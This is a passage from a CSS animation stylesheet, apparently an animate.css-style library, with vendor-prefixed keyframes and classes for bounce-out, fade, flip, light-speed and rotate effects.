    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateY(-20px);
    transform: translateY(-20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

@keyframes bounceOutDown {
  0% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateY(-20px);
    -ms-transform: translateY(-20px);
    transform: translateY(-20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

.bounceOutDown {
  -webkit-animation-name: bounceOutDown;
  animation-name: bounceOutDown;
}

@-webkit-keyframes bounceOutLeft {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateX(20px);
    transform: translateX(20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

@keyframes bounceOutLeft {
  0% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateX(20px);
    -ms-transform: translateX(20px);
    transform: translateX(20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

.bounceOutLeft {
  -webkit-animation-name: bounceOutLeft;
  animation-name: bounceOutLeft;
}

@-webkit-keyframes bounceOutRight {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateX(-20px);
    transform: translateX(-20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

@keyframes bounceOutRight {
  0% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateX(-20px);
    -ms-transform: translateX(-20px);
    transform: translateX(-20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

.bounceOutRight {
  -webkit-animation-name: bounceOutRight;
  animation-name: bounceOutRight;
}

@-webkit-keyframes bounceOutUp {
  0% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateY(20px);
    transform: translateY(20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

@keyframes bounceOutUp {
  0% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  20% {
    opacity: 1;
    -webkit-transform: translateY(20px);
    -ms-transform: translateY(20px);
    transform: translateY(20px);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

.bounceOutUp {
  -webkit-animation-name: bounceOutUp;
  animation-name: bounceOutUp;
}

@-webkit-keyframes fadeIn {
  0% {
    opacity: 0;
  }

  100% {
    opacity: 1;
  }
}

@keyframes fadeIn {
  0% {
    opacity: 0;
  }

  100% {
    opacity: 1;
  }
}

.fadeIn {
  -webkit-animation-name: fadeIn;
  animation-name: fadeIn;
}

@-webkit-keyframes fadeInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-20px);
    transform: translateY(-20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes fadeInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-20px);
    -ms-transform: translateY(-20px);
    transform: translateY(-20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.fadeInDown {
  -webkit-animation-name: fadeInDown;
  animation-name: fadeInDown;
}

@-webkit-keyframes fadeInDownBig {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes fadeInDownBig {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.fadeInDownBig {
  -webkit-animation-name: fadeInDownBig;
  animation-name: fadeInDownBig;
}

@-webkit-keyframes fadeInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-20px);
    transform: translateX(-20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes fadeInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-20px);
    -ms-transform: translateX(-20px);
    transform: translateX(-20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.fadeInLeft {
  -webkit-animation-name: fadeInLeft;
  animation-name: fadeInLeft;
}

@-webkit-keyframes fadeInLeftBig {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes fadeInLeftBig {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.fadeInLeftBig {
  -webkit-animation-name: fadeInLeftBig;
  animation-name: fadeInLeftBig;
}

@-webkit-keyframes fadeInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(20px);
    transform: translateX(20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes fadeInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(20px);
    -ms-transform: translateX(20px);
    transform: translateX(20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.fadeInRight {
  -webkit-animation-name: fadeInRight;
  animation-name: fadeInRight;
}

@-webkit-keyframes fadeInRightBig {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes fadeInRightBig {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.fadeInRightBig {
  -webkit-animation-name: fadeInRightBig;
  animation-name: fadeInRightBig;
}

@-webkit-keyframes fadeInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(20px);
    transform: translateY(20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes fadeInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(20px);
    -ms-transform: translateY(20px);
    transform: translateY(20px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.fadeInUp {
  -webkit-animation-name: fadeInUp;
  animation-name: fadeInUp;
}

@-webkit-keyframes fadeInUpBig {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes fadeInUpBig {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.fadeInUpBig {
  -webkit-animation-name: fadeInUpBig;
  animation-name: fadeInUpBig;
}

@-webkit-keyframes fadeOut {
  0% {
    opacity: 1;
  }

  100% {
    opacity: 0;
  }
}

@keyframes fadeOut {
  0% {
    opacity: 1;
  }

  100% {
    opacity: 0;
  }
}

.fadeOut {
  -webkit-animation-name: fadeOut;
  animation-name: fadeOut;
}

@-webkit-keyframes fadeOutDown {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(20px);
    transform: translateY(20px);
  }
}

@keyframes fadeOutDown {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(20px);
    -ms-transform: translateY(20px);
    transform: translateY(20px);
  }
}

.fadeOutDown {
  -webkit-animation-name: fadeOutDown;
  animation-name: fadeOutDown;
}

@-webkit-keyframes fadeOutDownBig {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

@keyframes fadeOutDownBig {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

.fadeOutDownBig {
  -webkit-animation-name: fadeOutDownBig;
  animation-name: fadeOutDownBig;
}

@-webkit-keyframes fadeOutLeft {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-20px);
    transform: translateX(-20px);
  }
}

@keyframes fadeOutLeft {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-20px);
    -ms-transform: translateX(-20px);
    transform: translateX(-20px);
  }
}

.fadeOutLeft {
  -webkit-animation-name: fadeOutLeft;
  animation-name: fadeOutLeft;
}

@-webkit-keyframes fadeOutLeftBig {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

@keyframes fadeOutLeftBig {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

.fadeOutLeftBig {
  -webkit-animation-name: fadeOutLeftBig;
  animation-name: fadeOutLeftBig;
}

@-webkit-keyframes fadeOutRight {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(20px);
    transform: translateX(20px);
  }
}

@keyframes fadeOutRight {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(20px);
    -ms-transform: translateX(20px);
    transform: translateX(20px);
  }
}

.fadeOutRight {
  -webkit-animation-name: fadeOutRight;
  animation-name: fadeOutRight;
}

@-webkit-keyframes fadeOutRightBig {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

@keyframes fadeOutRightBig {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

.fadeOutRightBig {
  -webkit-animation-name: fadeOutRightBig;
  animation-name: fadeOutRightBig;
}

@-webkit-keyframes fadeOutUp {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-20px);
    transform: translateY(-20px);
  }
}

@keyframes fadeOutUp {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-20px);
    -ms-transform: translateY(-20px);
    transform: translateY(-20px);
  }
}

.fadeOutUp {
  -webkit-animation-name: fadeOutUp;
  animation-name: fadeOutUp;
}

@-webkit-keyframes fadeOutUpBig {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

@keyframes fadeOutUpBig {
  0% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

.fadeOutUpBig {
  -webkit-animation-name: fadeOutUpBig;
  animation-name: fadeOutUpBig;
}

@-webkit-keyframes flip {
  0% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1);
    transform: perspective(400px) translateZ(0) rotateY(0) scale(1);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  40% {
    -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1);
    transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  50% {
    -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1);
    transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  80% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95);
    transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  100% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1);
    transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }
}

@keyframes flip {
  0% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1);
    -ms-transform: perspective(400px) translateZ(0) rotateY(0) scale(1);
    transform: perspective(400px) translateZ(0) rotateY(0) scale(1);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  40% {
    -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1);
    -ms-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1);
    transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  50% {
    -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1);
    -ms-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1);
    transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  80% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95);
    -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95);
    transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  100% {
    -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1);
    -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1);
    transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }
}

.animated.flip {
  -webkit-backface-visibility: visible;
  -ms-backface-visibility: visible;
  backface-visibility: visible;
  -webkit-animation-name: flip;
  animation-name: flip;
}

@-webkit-keyframes flipInX {
  0% {
    -webkit-transform: perspective(400px) rotateX(90deg);
    transform: perspective(400px) rotateX(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotateX(-10deg);
    transform: perspective(400px) rotateX(-10deg);
  }

  70% {
    -webkit-transform: perspective(400px) rotateX(10deg);
    transform: perspective(400px) rotateX(10deg);
  }

  100% {
    -webkit-transform: perspective(400px) rotateX(0deg);
    transform: perspective(400px) rotateX(0deg);
    opacity: 1;
  }
}

@keyframes flipInX {
  0% {
    -webkit-transform: perspective(400px) rotateX(90deg);
    -ms-transform: perspective(400px) rotateX(90deg);
    transform: perspective(400px) rotateX(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotateX(-10deg);
    -ms-transform: perspective(400px) rotateX(-10deg);
    transform: perspective(400px) rotateX(-10deg);
  }

  70% {
    -webkit-transform: perspective(400px) rotateX(10deg);
    -ms-transform: perspective(400px) rotateX(10deg);
    transform: perspective(400px) rotateX(10deg);
  }

  100% {
    -webkit-transform: perspective(400px) rotateX(0deg);
    -ms-transform: perspective(400px) rotateX(0deg);
    transform: perspective(400px) rotateX(0deg);
    opacity: 1;
  }
}

.flipInX {
  -webkit-backface-visibility: visible !important;
  -ms-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipInX;
  animation-name: flipInX;
}

@-webkit-keyframes flipInY {
  0% {
    -webkit-transform: perspective(400px) rotateY(90deg);
    transform: perspective(400px) rotateY(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotateY(-10deg);
    transform: perspective(400px) rotateY(-10deg);
  }

  70% {
    -webkit-transform: perspective(400px) rotateY(10deg);
    transform: perspective(400px) rotateY(10deg);
  }

  100% {
    -webkit-transform: perspective(400px) rotateY(0deg);
    transform: perspective(400px) rotateY(0deg);
    opacity: 1;
  }
}

@keyframes flipInY {
  0% {
    -webkit-transform: perspective(400px) rotateY(90deg);
    -ms-transform: perspective(400px) rotateY(90deg);
    transform: perspective(400px) rotateY(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotateY(-10deg);
    -ms-transform: perspective(400px) rotateY(-10deg);
    transform: perspective(400px) rotateY(-10deg);
  }

  70% {
    -webkit-transform: perspective(400px) rotateY(10deg);
    -ms-transform: perspective(400px) rotateY(10deg);
    transform: perspective(400px) rotateY(10deg);
  }

  100% {
    -webkit-transform: perspective(400px) rotateY(0deg);
    -ms-transform: perspective(400px) rotateY(0deg);
    transform: perspective(400px) rotateY(0deg);
    opacity: 1;
  }
}

.flipInY {
  -webkit-backface-visibility: visible !important;
  -ms-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipInY;
  animation-name: flipInY;
}

@-webkit-keyframes flipOutX {
  0% {
    -webkit-transform: perspective(400px) rotateX(0deg);
    transform: perspective(400px) rotateX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(400px) rotateX(90deg);
    transform: perspective(400px) rotateX(90deg);
    opacity: 0;
  }
}

@keyframes flipOutX {
  0% {
    -webkit-transform: perspective(400px) rotateX(0deg);
    -ms-transform: perspective(400px) rotateX(0deg);
    transform: perspective(400px) rotateX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(400px) rotateX(90deg);
    -ms-transform: perspective(400px) rotateX(90deg);
    transform: perspective(400px) rotateX(90deg);
    opacity: 0;
  }
}

.flipOutX {
  -webkit-animation-name: flipOutX;
  animation-name: flipOutX;
  -webkit-backface-visibility: visible !important;
  -ms-backface-visibility: visible !important;
  backface-visibility: visible !important;
}

@-webkit-keyframes flipOutY {
  0% {
    -webkit-transform: perspective(400px) rotateY(0deg);
    transform: perspective(400px) rotateY(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(400px) rotateY(90deg);
    transform: perspective(400px) rotateY(90deg);
    opacity: 0;
  }
}

@keyframes flipOutY {
  0% {
    -webkit-transform: perspective(400px) rotateY(0deg);
    -ms-transform: perspective(400px) rotateY(0deg);
    transform: perspective(400px) rotateY(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(400px) rotateY(90deg);
    -ms-transform: perspective(400px) rotateY(90deg);
    transform: perspective(400px) rotateY(90deg);
    opacity: 0;
  }
}

.flipOutY {
  -webkit-backface-visibility: visible !important;
  -ms-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipOutY;
  animation-name: flipOutY;
}

@-webkit-keyframes lightSpeedIn {
  0% {
    -webkit-transform: translateX(100%) skewX(-30deg);
    transform: translateX(100%) skewX(-30deg);
    opacity: 0;
  }

  60% {
    -webkit-transform: translateX(-20%) skewX(30deg);
    transform: translateX(-20%) skewX(30deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: translateX(0%) skewX(-15deg);
    transform: translateX(0%) skewX(-15deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: translateX(0%) skewX(0deg);
    transform: translateX(0%) skewX(0deg);
    opacity: 1;
  }
}

@keyframes lightSpeedIn {
  0% {
    -webkit-transform: translateX(100%) skewX(-30deg);
    -ms-transform: translateX(100%) skewX(-30deg);
    transform: translateX(100%) skewX(-30deg);
    opacity: 0;
  }

  60% {
    -webkit-transform: translateX(-20%) skewX(30deg);
    -ms-transform: translateX(-20%) skewX(30deg);
    transform: translateX(-20%) skewX(30deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: translateX(0%) skewX(-15deg);
    -ms-transform: translateX(0%) skewX(-15deg);
    transform: translateX(0%) skewX(-15deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: translateX(0%) skewX(0deg);
    -ms-transform: translateX(0%) skewX(0deg);
    transform: translateX(0%) skewX(0deg);
    opacity: 1;
  }
}

.lightSpeedIn {
  -webkit-animation-name: lightSpeedIn;
  animation-name: lightSpeedIn;
  -webkit-animation-timing-function: ease-out;
  animation-timing-function: ease-out;
}

@-webkit-keyframes lightSpeedOut {
  0% {
    -webkit-transform: translateX(0%) skewX(0deg);
    transform: translateX(0%) skewX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: translateX(100%) skewX(-30deg);
    transform: translateX(100%) skewX(-30deg);
    opacity: 0;
  }
}

@keyframes lightSpeedOut {
  0% {
    -webkit-transform: translateX(0%) skewX(0deg);
    -ms-transform: translateX(0%) skewX(0deg);
    transform: translateX(0%) skewX(0deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: translateX(100%) skewX(-30deg);
    -ms-transform: translateX(100%) skewX(-30deg);
    transform: translateX(100%) skewX(-30deg);
    opacity: 0;
  }
}

.lightSpeedOut {
  -webkit-animation-name: lightSpeedOut;
  animation-name: lightSpeedOut;
  -webkit-animation-timing-function: ease-in;
  animation-timing-function: ease-in;
}

@-webkit-keyframes rotateIn {
  0% {
    -webkit-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(-200deg);
    transform: rotate(-200deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

@keyframes rotateIn {
  0% {
    -webkit-transform-origin: center center;
    -ms-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(-200deg);
    -ms-transform: rotate(-200deg);
    transform: rotate(-200deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: center center;
    -ms-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

.rotateIn {
  -webkit-animation-name: rotateIn;
  animation-name: rotateIn;
}

@-webkit-keyframes rotateInDownLeft {
  0% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

@keyframes rotateInDownLeft {
  0% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(-90deg);
    -ms-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

.rotateInDownLeft {
  -webkit-animation-name: rotateInDownLeft;
  animation-name: rotateInDownLeft;
}

@-webkit-keyframes rotateInDownRight {
  0% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

@keyframes rotateInDownRight {
  0% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

.rotateInDownRight {
  -webkit-animation-name: rotateInDownRight;
  animation-name: rotateInDownRight;
}

@-webkit-keyframes rotateInUpLeft {
  0% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

@keyframes rotateInUpLeft {
  0% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

.rotateInUpLeft {
  -webkit-animation-name: rotateInUpLeft;
  animation-name: rotateInUpLeft;
}

@-webkit-keyframes rotateInUpRight {
  0% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

@keyframes rotateInUpRight {
  0% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(-90deg);
    -ms-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }

  100% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }
}

.rotateInUpRight {
  -webkit-animation-name: rotateInUpRight;
  animation-name: rotateInUpRight;
}

@-webkit-keyframes rotateOut {
  0% {
    -webkit-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(200deg);
    transform: rotate(200deg);
    opacity: 0;
  }
}

@keyframes rotateOut {
  0% {
    -webkit-transform-origin: center center;
    -ms-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: center center;
    -ms-transform-origin: center center;
    transform-origin: center center;
    -webkit-transform: rotate(200deg);
    -ms-transform: rotate(200deg);
    transform: rotate(200deg);
    opacity: 0;
  }
}

.rotateOut {
  -webkit-animation-name: rotateOut;
  animation-name: rotateOut;
}

@-webkit-keyframes rotateOutDownLeft {
  0% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }
}

@keyframes rotateOutDownLeft {
  0% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }
}

.rotateOutDownLeft {
  -webkit-animation-name: rotateOutDownLeft;
  animation-name: rotateOutDownLeft;
}

@-webkit-keyframes rotateOutDownRight {
  0% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }
}

@keyframes rotateOutDownRight {
  0% {
    -webkit-transform-origin: right bottom;
